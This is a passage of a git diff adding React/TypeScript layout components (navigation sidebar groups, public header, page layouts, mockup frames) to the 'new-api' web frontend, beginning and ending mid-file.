+                  displayLogo={displayLogo}
+                  displaySiteName={displaySiteName}
+                  loading={loading}
+                  logoLoaded={logoLoaded}
+                  onClick={onClose}
+                />
+                <Button
+                  variant='ghost'
+                  size='icon-sm'
+                  onClick={onClose}
+                  className='hover:text-primary cursor-pointer'
+                  aria-label={t('Close menu')}
+                >
+                  <X className='size-5' />
+                </Button>
+              </div>
+
+              {/* Navigation links */}
+              <motion.div
+                className='border-border mb-4 flex flex-col rounded-md border text-sm'
+                variants={{ hidden: { opacity: 0 }, visible: { opacity: 1 } }}
+              >
+                {loading ? (
+                  <div className='flex flex-col gap-1 p-2'>
+                    {Array.from({ length: 4 }, (_, i) => (
+                      <Skeleton key={i} className='h-8 w-full' />
+                    ))}
+                  </div>
+                ) : (
+                  <AnimatePresence>
+                    {mobileLinksList.map((link, index) => (
+                      <motion.div
+                        key={`${link.href}-${index}`}
+                        className='border-border border-b p-2.5 last:border-b-0'
+                        variants={MOBILE_DRAWER_ANIMATION.menuItem as Variants}
+                      >
+                        <Link
+                          to={link.href}
+                          className='text-primary/60 hover:text-primary/80 transition-colors'
+                          onClick={onClose}
+                        >
+                          {link.title}
+                        </Link>
+                      </motion.div>
+                    ))}
+                  </AnimatePresence>
+                )}
+              </motion.div>
+
+              {/* User profile section */}
+              {showAuthButtons &&
+                (user ? (
+                  <MobileUserProfile user={user} onNavigate={onClose} />
+                ) : (
+                  <MobileSignInButton onNavigate={onClose} />
+                ))}
+            </div>
+          </motion.div>
+        </>
+      )}
+    </AnimatePresence>
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/mockup.tsx b/new-api/web/default/src/components/layout/components/mockup.tsx
new file mode 100644
index 0000000..37d9646
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/mockup.tsx
@@ -0,0 +1,63 @@
+import React from 'react'
+import { cva, type VariantProps } from 'class-variance-authority'
+import { cn } from '@/lib/utils'
+
+const mockupVariants = cva(
+  'flex relative z-10 overflow-hidden shadow-2xl border border-border/70 dark:border-border/5 dark:border-t-border/15',
+  {
+    variants: {
+      type: {
+        mobile: 'rounded-[48px] max-w-[350px]',
+        responsive: 'rounded-md',
+      },
+    },
+    defaultVariants: {
+      type: 'responsive',
+    },
+  }
+)
+
+export interface MockupProps
+  extends
+    React.HTMLAttributes<HTMLDivElement>,
+    VariantProps<typeof mockupVariants> {}
+
+export function Mockup({ className, type, ...props }: MockupProps) {
+  return (
+    <div
+      data-slot='mockup'
+      className={cn(mockupVariants({ type, className }))}
+      {...props}
+    />
+  )
+}
+
+const frameVariants = cva(
+  'bg-border/50 flex relative z-10 overflow-hidden rounded-2xl dark:bg-border/10',
+  {
+    variants: {
+      size: {
+        small: 'p-2',
+        large: 'p-4',
+      },
+    },
+    defaultVariants: {
+      size: 'small',
+    },
+  }
+)
+
+export interface MockupFrameProps
+  extends
+    React.HTMLAttributes<HTMLDivElement>,
+    VariantProps<typeof frameVariants> {}
+
+export function MockupFrame({ className, size, ...props }: MockupFrameProps) {
+  return (
+    <div
+      data-slot='mockup-frame'
+      className={cn(frameVariants({ size, className }))}
+      {...props}
+    />
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/nav-group.tsx b/new-api/web/default/src/components/layout/components/nav-group.tsx
new file mode 100644
index 0000000..e2841bd
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/nav-group.tsx
@@ -0,0 +1,229 @@
+import { type ReactNode, useState, useEffect } from 'react'
+import { Link, useLocation } from '@tanstack/react-router'
+import { ChevronRight } from 'lucide-react'
+import { Badge } from '@/components/ui/badge'
+import {
+  Collapsible,
+  CollapsibleContent,
+  CollapsibleTrigger,
+} from '@/components/ui/collapsible'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuLabel,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu'
+import {
+  SidebarGroup,
+  SidebarGroupLabel,
+  SidebarMenu,
+  SidebarMenuButton,
+  SidebarMenuItem,
+  SidebarMenuSub,
+  SidebarMenuSubButton,
+  SidebarMenuSubItem,
+  useSidebar,
+} from '@/components/ui/sidebar'
+import { checkIsActive } from '../lib/url-utils'
+import {
+  type NavCollapsible,
+  type NavChatPresets,
+  type NavLink,
+  type NavGroup as NavGroupProps,
+} from '../types'
+import { ChatPresetsItem } from './chat-presets-item'
+
+/**
+ * Sidebar navigation group component
+ * Renders a group of navigation items, supporting regular links and collapsible submenus
+ */
+export function NavGroup({ title, items }: NavGroupProps) {
+  const { state, isMobile } = useSidebar()
+  const href = useLocation({ select: (location) => location.href })
+
+  return (
+    <SidebarGroup>
+      <SidebarGroupLabel>{title}</SidebarGroupLabel>
+      <SidebarMenu>
+        {items.map((item) => {
+          const key = `${item.title}-${item.url || item.type}`
+
+          // Special handling: dynamic chat presets list
+          if (item.type === 'chat-presets') {
+            return <ChatPresetsItem key={key} item={item as NavChatPresets} />
+          }
+
+          // If no sub-items, render regular link
+          if (!item.items) {
+            return (
+              <SidebarMenuLink key={key} item={item as NavLink} href={href} />
+            )
+          }
+
+          // In collapsed state on non-mobile, render dropdown menu
+          if (state === 'collapsed' && !isMobile) {
+            return (
+              <SidebarMenuCollapsedDropdown
+                key={key}
+                item={item as NavCollapsible}
+                href={href}
+              />
+            )
+          }
+
+          // Render collapsible menu
+          return (
+            <SidebarMenuCollapsible
+              key={key}
+              item={item as NavCollapsible}
+              href={href}
+            />
+          )
+        })}
+      </SidebarMenu>
+    </SidebarGroup>
+  )
+}
+
+/**
+ * Navigation badge component
+ */
+function NavBadge({ children }: { children: ReactNode }) {
+  return <Badge className='rounded-full px-1 py-0 text-xs'>{children}</Badge>
+}
+
+/**
+ * Sidebar menu link item
+ */
+function SidebarMenuLink({ item, href }: { item: NavLink; href: string }) {
+  const { setOpenMobile } = useSidebar()
+  return (
+    <SidebarMenuItem>
+      <SidebarMenuButton
+        asChild
+        isActive={checkIsActive(href, item)}
+        tooltip={item.title}
+      >
+        <Link to={item.url} onClick={() => setOpenMobile(false)}>
+          {item.icon && <item.icon />}
+          <span>{item.title}</span>
+          {item.badge && <NavBadge>{item.badge}</NavBadge>}
+        </Link>
+      </SidebarMenuButton>
+    </SidebarMenuItem>
+  )
+}
+
+/**
+ * Sidebar collapsible menu item
+ */
+function SidebarMenuCollapsible({
+  item,
+  href,
+}: {
+  item: NavCollapsible
+  href: string
+}) {
+  const { setOpenMobile } = useSidebar()
+  // 检查当前路径是否匹配子菜单项
+  const isSubItemActive = checkIsActive(href, item)
+  // 使用受控状态，初始值基于当前路径是否匹配
+  const [isOpen, setIsOpen] = useState(() => isSubItemActive)
+
+  // 当路径变化时，如果匹配子菜单项，自动展开父级菜单
+  useEffect(() => {
+    if (isSubItemActive) {
+      // eslint-disable-next-line react-hooks/set-state-in-effect
+      setIsOpen(true)
+    }
+  }, [isSubItemActive])
+
+  return (
+    <Collapsible
+      asChild
+      open={isOpen}
+      onOpenChange={setIsOpen}
+      className='group/collapsible'
+    >
+      <SidebarMenuItem>
+        <CollapsibleTrigger asChild>
+          <SidebarMenuButton tooltip={item.title}>
+            {item.icon && <item.icon />}
+            <span>{item.title}</span>
+            {item.badge && <NavBadge>{item.badge}</NavBadge>}
+            <ChevronRight className='ms-auto transition-transform duration-200 group-data-[state=open]/collapsible:rotate-90' />
+          </SidebarMenuButton>
+        </CollapsibleTrigger>
+        <CollapsibleContent className='CollapsibleContent'>
+          <SidebarMenuSub>
+            {item.items.map((subItem) => (
+              <SidebarMenuSubItem key={subItem.title}>
+                <SidebarMenuSubButton
+                  asChild
+                  isActive={checkIsActive(href, subItem)}
+                >
+                  <Link to={subItem.url} onClick={() => setOpenMobile(false)}>
+                    {subItem.icon && <subItem.icon />}
+                    <span>{subItem.title}</span>
+                    {subItem.badge && <NavBadge>{subItem.badge}</NavBadge>}
+                  </Link>
+                </SidebarMenuSubButton>
+              </SidebarMenuSubItem>
+            ))}
+          </SidebarMenuSub>
+        </CollapsibleContent>
+      </SidebarMenuItem>
+    </Collapsible>
+  )
+}
+
+/**
+ * Sidebar dropdown menu item when collapsed
+ */
+function SidebarMenuCollapsedDropdown({
+  item,
+  href,
+}: {
+  item: NavCollapsible
+  href: string
+}) {
+  return (
+    <SidebarMenuItem>
+      <DropdownMenu>
+        <DropdownMenuTrigger asChild>
+          <SidebarMenuButton
+            tooltip={item.title}
+            isActive={checkIsActive(href, item)}
+          >
+            {item.icon && <item.icon />}
+            <span>{item.title}</span>
+            {item.badge && <NavBadge>{item.badge}</NavBadge>}
+            <ChevronRight className='ms-auto transition-transform duration-200 group-data-[state=open]/collapsible:rotate-90' />
+          </SidebarMenuButton>
+        </DropdownMenuTrigger>
+        <DropdownMenuContent side='right' align='start' sideOffset={4}>
+          <DropdownMenuLabel>
+            {item.title} {item.badge ? `(${item.badge})` : ''}
+          </DropdownMenuLabel>
+          <DropdownMenuSeparator />
+          {item.items.map((sub) => (
+            <DropdownMenuItem key={`${sub.title}-${sub.url}`} asChild>
+              <Link
+                to={sub.url}
+                className={`${checkIsActive(href, sub) ? 'bg-secondary' : ''}`}
+              >
+                {sub.icon && <sub.icon />}
+                <span className='max-w-52 text-wrap'>{sub.title}</span>
+                {sub.badge && (
+                  <span className='ms-auto text-xs'>{sub.badge}</span>
+                )}
+              </Link>
+            </DropdownMenuItem>
+          ))}
+        </DropdownMenuContent>
+      </DropdownMenu>
+    </SidebarMenuItem>
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/nav-link-item.tsx b/new-api/web/default/src/components/layout/components/nav-link-item.tsx
new file mode 100644
index 0000000..880ccad
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/nav-link-item.tsx
@@ -0,0 +1,68 @@
+import { Link } from '@tanstack/react-router'
+import { cn } from '@/lib/utils'
+import type { TopNavLink } from '../types'
+
+interface NavLinkItemProps {
+  link: TopNavLink
+  className?: string
+}
+
+/**
+ * Renders a single navigation link (internal or external)
+ * Handles routing and proper link attributes
+ */
+export function NavLinkItem({ link, className }: NavLinkItemProps) {
+  const linkClassName = cn(
+    'text-muted-foreground hover:text-foreground transition-colors',
+    link.disabled && 'pointer-events-none opacity-50',
+    className
+  )
+
+  if (link.external) {
+    return (
+      <a
+        href={link.href}
+        target='_blank'
+        rel='noopener noreferrer'
+        className={linkClassName}
+        aria-disabled={link.disabled}
+      >
+        {link.title}
+      </a>
+    )
+  }
+
+  return (
+    <Link to={link.href} className={linkClassName} disabled={link.disabled}>
+      {link.title}
+    </Link>
+  )
+}
+
+interface NavLinkListProps {
+  links: TopNavLink[]
+  className?: string
+  itemClassName?: string
+}
+
+/**
+ * Renders a list of navigation links
+ * Used in both desktop and mobile navigation
+ */
+export function NavLinkList({
+  links,
+  className,
+  itemClassName,
+}: NavLinkListProps) {
+  return (
+    <>
+      {links.map((link, index) => (
+        <NavLinkItem
+          key={index}
+          link={link}
+          className={cn(className, itemClassName)}
+        />
+      ))}
+    </>
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/navbar.tsx b/new-api/web/default/src/components/layout/components/navbar.tsx
new file mode 100644
index 0000000..f324362
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/navbar.tsx
@@ -0,0 +1,51 @@
+import * as React from 'react'
+import { cn } from '@/lib/utils'
+
+export function Navbar({ className, ...props }: React.ComponentProps<'nav'>) {
+  return (
+    <nav
+      data-slot='navbar'
+      className={cn('flex items-center justify-between py-4', className)}
+      {...props}
+    />
+  )
+}
+
+export function NavbarLeft({
+  className,
+  ...props
+}: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='navbar-left'
+      className={cn('flex items-center justify-start gap-4', className)}
+      {...props}
+    />
+  )
+}
+
+export function NavbarRight({
+  className,
+  ...props
+}: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='navbar-right'
+      className={cn('flex items-center justify-end gap-4', className)}
+      {...props}
+    />
+  )
+}
+
+export function NavbarCenter({
+  className,
+  ...props
+}: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='navbar-center'
+      className={cn('flex items-center justify-center gap-4', className)}
+      {...props}
+    />
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/page-footer.tsx b/new-api/web/default/src/components/layout/components/page-footer.tsx
new file mode 100644
index 0000000..4676511
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/page-footer.tsx
@@ -0,0 +1,23 @@
+import { createContext, useContext, type ReactNode } from 'react'
+import { createPortal } from 'react-dom'
+
+const PageFooterContext = createContext<HTMLDivElement | null>(null)
+
+type PageFooterProviderProps = {
+  container: HTMLDivElement | null
+  children: ReactNode
+}
+
+export function PageFooterProvider(props: PageFooterProviderProps) {
+  return (
+    <PageFooterContext.Provider value={props.container}>
+      {props.children}
+    </PageFooterContext.Provider>
+  )
+}
+
+export function PageFooterPortal(props: { children: ReactNode }) {
+  const container = useContext(PageFooterContext)
+  if (!container) return null
+  return createPortal(props.children, container)
+}
diff --git a/new-api/web/default/src/components/layout/components/public-header.tsx b/new-api/web/default/src/components/layout/components/public-header.tsx
new file mode 100644
index 0000000..476cddb
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/public-header.tsx
@@ -0,0 +1,301 @@
+import { useState, useEffect } from 'react'
+import { Link, useRouterState } from '@tanstack/react-router'
+import { useTranslation } from 'react-i18next'
+import { useAuthStore } from '@/stores/auth-store'
+import { cn } from '@/lib/utils'
+import { useNotifications } from '@/hooks/use-notifications'
+import { useSystemConfig } from '@/hooks/use-system-config'
+import { useTopNavLinks } from '@/hooks/use-top-nav-links'
+import { Button } from '@/components/ui/button'
+import { Skeleton } from '@/components/ui/skeleton'
+import { LanguageSwitcher } from '@/components/language-switcher'
+import { NotificationButton } from '@/components/notification-button'
+import { NotificationDialog } from '@/components/notification-dialog'
+import { ProfileDropdown } from '@/components/profile-dropdown'
+import { ThemeSwitch } from '@/components/theme-switch'
+import { defaultTopNavLinks } from '../config/top-nav.config'
+import type { TopNavLink } from '../types'
+import { HeaderLogo } from './header-logo'
+
+export interface PublicHeaderProps {
+  navLinks?: TopNavLink[]
+  mobileLinks?: TopNavLink[]
+  navContent?: React.ReactNode
+  showThemeSwitch?: boolean
+  showLanguageSwitcher?: boolean
+  logo?: React.ReactNode
+  siteName?: string
+  homeUrl?: string
+  leftContent?: React.ReactNode
+  rightContent?: React.ReactNode
+  showNavigation?: boolean
+  showAuthButtons?: boolean
+  showNotifications?: boolean
+  className?: string
+}
+
+export function PublicHeader(props: PublicHeaderProps) {
+  const {
+    navLinks = defaultTopNavLinks,
+    showThemeSwitch = true,
+    showLanguageSwitcher = true,
+    logo: customLogo,
+    siteName: customSiteName,
+    homeUrl = '/',
+    showAuthButtons = true,
+    showNotifications = true,
+  } = props
+
+  const { t } = useTranslation()
+  const [scrolled, setScrolled] = useState(false)
+  const [mobileOpen, setMobileOpen] = useState(false)
+  const { auth } = useAuthStore()
+  const {
+    systemName,
+    logo: systemLogo,
+    loading,
+    logoLoaded,
+  } = useSystemConfig()
+  const dynamicLinks = useTopNavLinks()
+  const notifications = useNotifications()
+  const routerState = useRouterState()
+  const pathname = routerState.location.pathname
+
+  const user = auth.user
+  const isAuthenticated = !!user
+  const displaySiteName = customSiteName || systemName
+  const links = dynamicLinks.length > 0 ? dynamicLinks : navLinks
+
+  useEffect(() => {
+    const onScroll = () => setScrolled(window.scrollY > 20)
+    onScroll()
+    window.addEventListener('scroll', onScroll, { passive: true })
+    return () => window.removeEventListener('scroll', onScroll)
+  }, [])
+
+  useEffect(() => {
+    document.body.style.overflow = mobileOpen ? 'hidden' : ''
+    return () => {
+      document.body.style.overflow = ''
+    }
+  }, [mobileOpen])
+
+  return (
+    <>
+      <header className='pointer-events-none fixed inset-x-0 top-0 z-50'>
+        <div
+          className={cn(
+            'pointer-events-auto mx-auto transition-all duration-700 ease-[cubic-bezier(0.16,1,0.3,1)]',
+            scrolled ? 'max-w-[52rem] px-3 pt-3' : 'max-w-7xl px-4 pt-0 md:px-6'
+          )}
+        >
+          <nav
+            className={cn(
+              'flex items-center justify-between transition-all duration-700 ease-[cubic-bezier(0.16,1,0.3,1)]',
+              scrolled
+                ? 'bg-background/60 ring-border/50 h-12 rounded-2xl pr-1.5 pl-4 shadow-[0_2px_16px_-6px_rgba(0,0,0,0.08),0_0_0_0.5px_rgba(0,0,0,0.02)] ring-[0.5px] backdrop-blur-2xl dark:shadow-[0_2px_16px_-6px_rgba(0,0,0,0.4)]'
+                : 'h-16 px-2'
+            )}
+          >
+            {/* Logo */}
+            <Link
+              to={homeUrl}
+              className='group flex shrink-0 items-center gap-2.5'
+            >
+              <div className='flex size-7 shrink-0 items-center justify-center transition-all duration-300 group-hover:scale-105'>
+                {loading ? (
+                  <Skeleton className='size-full rounded-lg' />
+                ) : customLogo ? (
+                  customLogo
+                ) : (
+                  <HeaderLogo
+                    src={systemLogo}
+                    loading={loading}
+                    logoLoaded={logoLoaded}
+                    className='size-full rounded-lg object-contain'
+                  />
+                )}
+              </div>
+              <span className='text-sm font-semibold tracking-tight'>
+                {loading ? <Skeleton className='h-4 w-16' /> : displaySiteName}
+              </span>
+            </Link>
+
+            {/* Desktop nav */}
+            <div className='hidden items-center gap-0.5 sm:flex'>
+              {links.map((link, i) => {
+                const isActive = pathname === link.href
+                if (link.external) {
+                  return (
+                    <a
+                      key={i}
+                      href={link.href}
+                      target='_blank'
+                      rel='noopener noreferrer'
+                      className='text-muted-foreground hover:text-foreground rounded-lg px-3 py-1.5 text-[13px] font-medium transition-colors duration-200'
+                    >
+                      {t(link.title)}
+                    </a>
+                  )
+                }
+                return (
+                  <Link
+                    key={i}
+                    to={link.href}
+                    className={cn(
+                      'rounded-lg px-3 py-1.5 text-[13px] font-medium transition-colors duration-200',
+                      isActive
+                        ? 'text-foreground'
+                        : 'text-muted-foreground hover:text-foreground'
+                    )}
+                  >
+                    {t(link.title)}
+                  </Link>
+                )
+              })}
+
+              {(showLanguageSwitcher ||
+                showThemeSwitch ||
+                showNotifications) && (
+                <div className='bg-border/40 mx-2 h-4 w-px' />
+              )}
+
+              {showLanguageSwitcher && <LanguageSwitcher />}
+              {showThemeSwitch && <ThemeSwitch />}
+              {showNotifications && (
+                <NotificationButton
+                  unreadCount={notifications.unreadCount}
+                  onClick={() => notifications.openDialog()}
+                />
+              )}
+
+              {showAuthButtons && (
+                <>
+                  <div className='bg-border/40 mx-1 h-4 w-px' />
+                  {loading ? (
+                    <Skeleton className='h-8 w-20 rounded-lg' />
+                  ) : isAuthenticated ? (
+                    <ProfileDropdown />
+                  ) : (
+                    <Button
+                      size='sm'
+                      className='h-8 rounded-lg px-3.5 text-xs font-medium'
+                      asChild
+                    >
+                      <Link to='/sign-in'>{t('Sign in')}</Link>
+                    </Button>
+                  )}
+                </>
+              )}
+            </div>
+
+            {/* Mobile: compact actions + hamburger */}
+            <div className='flex items-center gap-2 sm:hidden'>
+              {showThemeSwitch && <ThemeSwitch />}
+              {showAuthButtons && !loading && isAuthenticated && (
+                <ProfileDropdown />
+              )}
+              <button
+                className='hover:bg-muted/40 flex size-9 items-center justify-center rounded-lg transition-colors'
+                onClick={() => setMobileOpen((v) => !v)}
+                aria-label={t('Toggle navigation menu')}
+              >
+                <div className='relative size-4'>
+                  <span
+                    className={cn(
+                      'absolute inset-x-0 block h-[1.5px] origin-center rounded-full bg-current transition-all duration-300',
+                      mobileOpen ? 'top-[7px] rotate-45' : 'top-[3px]'
+                    )}
+                  />
+                  <span
+                    className={cn(
+                      'absolute inset-x-0 top-[7px] block h-[1.5px] rounded-full bg-current transition-all duration-300',
+                      mobileOpen ? 'scale-x-0 opacity-0' : 'opacity-100'
+                    )}
+                  />
+                  <span
+                    className={cn(
+                      'absolute inset-x-0 block h-[1.5px] origin-center rounded-full bg-current transition-all duration-300',
+                      mobileOpen ? 'top-[7px] -rotate-45' : 'top-[11px]'
+                    )}
+                  />
+                </div>
+              </button>
+            </div>
+          </nav>
+        </div>
+      </header>
+
+      {/* Mobile full-screen overlay */}
+      <div
+        className={cn(
+          'bg-background/98 fixed inset-0 z-40 backdrop-blur-2xl transition-all duration-500 ease-[cubic-bezier(0.16,1,0.3,1)] sm:pointer-events-none sm:hidden',
+          mobileOpen
+            ? 'pointer-events-auto opacity-100'
+            : 'pointer-events-none opacity-0'
+        )}
+      >
+        <div className='flex h-full flex-col justify-between px-8 pt-20 pb-10'>
+          <nav className='flex flex-col gap-1'>
+            {links.map((link, i) => {
+              const isActive = pathname === link.href
+              return (
+                <Link
+                  key={i}
+                  to={link.href}
+                  onClick={() => setMobileOpen(false)}
+                  className={cn(
+                    'flex items-center gap-3 py-3 text-base font-medium tracking-tight transition-all duration-500 ease-[cubic-bezier(0.16,1,0.3,1)]',
+                    mobileOpen
+                      ? 'translate-y-0 opacity-100'
+                      : 'translate-y-4 opacity-0',
+                    isActive ? 'text-foreground' : 'text-muted-foreground'
+                  )}
+                  style={{
+                    transitionDelay: mobileOpen ? `${100 + i * 50}ms` : '0ms',
+                  }}
+                >
+                  {t(link.title)}
+                </Link>
+              )
+            })}
+          </nav>
+
+          <div
+            className={cn(
+              'flex flex-col gap-3 transition-all duration-500',
+              mobileOpen
+                ? 'translate-y-0 opacity-100'
+                : 'translate-y-4 opacity-0'
+            )}
+            style={{ transitionDelay: mobileOpen ? '250ms' : '0ms' }}
+          >
+            {showAuthButtons && (
+              <Link
+                to={isAuthenticated ? '/dashboard' : '/sign-in'}
+                onClick={() => setMobileOpen(false)}
+                className='bg-foreground text-background inline-flex h-10 items-center justify-center rounded-lg text-sm font-medium transition-opacity hover:opacity-90 active:opacity-80'
+              >
+                {isAuthenticated ? t('Go to Dashboard') : t('Sign in')}
+              </Link>
+            )}
+          </div>
+        </div>
+      </div>
+
+      {/* Notification Dialog */}
+      {showNotifications && (
+        <NotificationDialog
+          open={notifications.dialogOpen}
+          onOpenChange={notifications.setDialogOpen}
+          activeTab={notifications.activeTab}
+          onTabChange={notifications.setActiveTab}
+          notice={notifications.notice}
+          announcements={notifications.announcements}
+          loading={notifications.loading}
+          onCloseToday={notifications.closeToday}
+        />
+      )}
+    </>
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/public-layout.tsx b/new-api/web/default/src/components/layout/components/public-layout.tsx
new file mode 100644
index 0000000..9c96bb0
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/public-layout.tsx
@@ -0,0 +1,40 @@
+import type { TopNavLink } from '../types'
+import { PublicHeader, type PublicHeaderProps } from './public-header'
+
+type PublicLayoutProps = {
+  children: React.ReactNode
+  showMainContainer?: boolean
+  navContent?: React.ReactNode
+  headerProps?: Omit<PublicHeaderProps, 'navContent'>
+  navLinks?: TopNavLink[]
+  showThemeSwitch?: boolean
+  showAuthButtons?: boolean
+  showNotifications?: boolean
+  logo?: React.ReactNode
+  siteName?: string
+}
+
+export function PublicLayout(props: PublicLayoutProps) {
+  return (
+    <div className='bg-background text-foreground relative min-h-svh overflow-hidden'>
+      <PublicHeader
+        navContent={props.navContent}
+        navLinks={props.navLinks}
+        showThemeSwitch={props.showThemeSwitch}
+        showAuthButtons={props.showAuthButtons}
+        showNotifications={props.showNotifications}
+        logo={props.logo}
+        siteName={props.siteName}
+        {...props.headerProps}
+      />
+
+      {props.showMainContainer !== false ? (
+        <main className='container px-4 py-6 pt-20 md:px-4'>
+          {props.children}
+        </main>
+      ) : (
+        props.children
+      )}
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/public-navigation.tsx b/new-api/web/default/src/components/layout/components/public-navigation.tsx
new file mode 100644
index 0000000..4b470dd
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/public-navigation.tsx
@@ -0,0 +1,68 @@
+import { Link } from '@tanstack/react-router'
+import { cn } from '@/lib/utils'
+import { useTopNavLinks } from '@/hooks/use-top-nav-links'
+import { defaultTopNavLinks } from '../config/top-nav.config'
+import type { TopNavLink } from '../types'
+
+interface PublicNavigationProps {
+  /**
+   * Custom navigation links
+   * If not provided, will use dynamic links from backend or defaults
+   */
+  links?: TopNavLink[]
+  /**
+   * Additional className
+   */
+  className?: string
+}
+
+/**
+ * Public navigation component that matches Launch UI template styling
+ * Used in PublicHeader for desktop navigation
+ */
+export function PublicNavigation({
+  links: providedLinks,
+  className,
+}: PublicNavigationProps = {}) {
+  // Use the same logic as AppHeader: prioritize dynamic links from backend
+  const dynamicLinks = useTopNavLinks()
+  const defaultLinks = providedLinks || defaultTopNavLinks
+  const links = dynamicLinks.length > 0 ? dynamicLinks : defaultLinks
+
+  return (
+    <nav className={cn('hidden items-center gap-1 md:flex', className)}>
+      {links.map((link, index) => {
+        // Handle external links
+        if (link.external) {
+          return (
+            <a
+              key={index}
+              href={link.href}
+              target='_blank'
+              rel='noopener noreferrer'
+              className={cn(
+                'text-muted-foreground hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground inline-flex h-9 w-max items-center justify-center rounded-md bg-transparent px-4 py-2 text-sm font-medium transition-colors focus:outline-none',
+                link.disabled && 'pointer-events-none opacity-50'
+              )}
+            >
+              {link.title}
+            </a>
+          )
+        }
+        // Handle internal links
+        return (
+          <Link
+            key={index}
+            to={link.href}
+            className={cn(
+              'text-muted-foreground hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground inline-flex h-9 w-max items-center justify-center rounded-md bg-transparent px-4 py-2 text-sm font-medium transition-colors focus:outline-none',
+              link.disabled && 'pointer-events-none opacity-50'
+            )}
+          >
+            {link.title}
+          </Link>
+        )
+      })}
+    </nav>
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/section-page-layout.tsx b/new-api/web/default/src/components/layout/components/section-page-layout.tsx
new file mode 100644
index 0000000..5c7120c
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/section-page-layout.tsx
@@ -0,0 +1,109 @@
+import {
+  Children,
+  isValidElement,
+  useState,
+  type ReactElement,
+  type ReactNode,
+} from 'react'
+import { AppHeader } from './app-header'
+import { Main } from './main'
+import { PageFooterProvider } from './page-footer'
+
+type SlotProps = { children?: ReactNode }
+
+function SectionPageLayoutTitle(_props: SlotProps) {
+  return null
+}
+SectionPageLayoutTitle.displayName = 'SectionPageLayout.Title'
+
+function SectionPageLayoutDescription(_props: SlotProps) {
+  return null
+}
+SectionPageLayoutDescription.displayName = 'SectionPageLayout.Description'
+
+function SectionPageLayoutActions(_props: SlotProps) {
+  return null
+}
+SectionPageLayoutActions.displayName = 'SectionPageLayout.Actions'
+
+function SectionPageLayoutContent(_props: SlotProps) {
+  return null
+}
+SectionPageLayoutContent.displayName = 'SectionPageLayout.Content'
+
+function SectionPageLayoutBreadcrumb(_props: SlotProps) {
+  return null
+}
+SectionPageLayoutBreadcrumb.displayName = 'SectionPageLayout.Breadcrumb'
+
+export type SectionPageLayoutProps = {
+  children: ReactNode
+}
+
+export function SectionPageLayout(props: SectionPageLayoutProps) {
+  const [footerContainer, setFooterContainer] = useState<HTMLDivElement | null>(
+    null
+  )
+
+  let title: ReactNode = null
+  let description: ReactNode = null
+  let actions: ReactNode = null
+  let content: ReactNode = null
+  let breadcrumb: ReactNode = null
+
+  Children.forEach(props.children, (node) => {
+    if (!isValidElement(node)) return
+    const child = node as ReactElement<SlotProps>
+    if (child.type === SectionPageLayoutTitle) title = child.props.children
+    else if (child.type === SectionPageLayoutDescription)
+      description = child.props.children
+    else if (child.type === SectionPageLayoutActions)
+      actions = child.props.children
+    else if (child.type === SectionPageLayoutContent)
+      content = child.props.children
+    else if (child.type === SectionPageLayoutBreadcrumb)
+      breadcrumb = child.props.children
+  })
+
+  return (
+    <PageFooterProvider container={footerContainer}>
+      <AppHeader />
+
+      <Main>
+        <div className='shrink-0 px-4 pt-4 pb-3 sm:pt-6 sm:pb-4'>
+          {breadcrumb != null && <div className='mb-3'>{breadcrumb}</div>}
+          <div className='flex flex-wrap items-center justify-between gap-x-4 gap-y-2'>
+            <div className='min-w-0'>
+              <h2 className='text-base font-bold tracking-tight sm:text-lg'>
+                {title}
+              </h2>
+              {description != null && (
+                <p className='text-muted-foreground max-sm:text-xs sm:text-sm'>
+                  {description}
+                </p>
+              )}
+            </div>
+            {actions != null && (
+              <div className='flex shrink-0 flex-wrap items-center gap-2 sm:gap-x-4'>
+                {actions}
+              </div>
+            )}
+          </div>
+        </div>
+
+        <div className='min-h-0 flex-1 overflow-auto px-4 pb-4'>{content}</div>
+
+        <div
+          ref={setFooterContainer}
+          className='bg-background shrink-0 border-t px-4 py-3 empty:hidden'
+        />
+      </Main>
+    </PageFooterProvider>
+  )
+}
+
+SectionPageLayout.Title = SectionPageLayoutTitle
+SectionPageLayout.Description = SectionPageLayoutDescription
+SectionPageLayout.Actions = SectionPageLayoutActions
+SectionPageLayout.Content = SectionPageLayoutContent
+SectionPageLayout.Breadcrumb = SectionPageLayoutBreadcrumb
diff --git a/new-api/web/default/src/components/layout/components/section.tsx b/new-api/web/default/src/components/layout/components/section.tsx
new file mode 100644
index 0000000..48d54ec
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/section.tsx
@@ -0,0 +1,18 @@
+import * as React from 'react'
+import { cn } from '@/lib/utils'
+
+export function Section({
+  className,
+  ...props
+}: React.ComponentProps<'section'>) {
+  return (
+    <section
+      data-slot='section'
+      className={cn(
+        'bg-background text-foreground px-4 py-6 sm:py-12 md:py-20',
+        className
+      )}
+      {...props}
+    />
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/top-nav.tsx b/new-api/web/default/src/components/layout/components/top-nav.tsx
new file mode 100644
index 0000000..953cac2
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/top-nav.tsx
@@ -0,0 +1,107 @@
+import { useMemo } from 'react'
+import { Link } from '@tanstack/react-router'
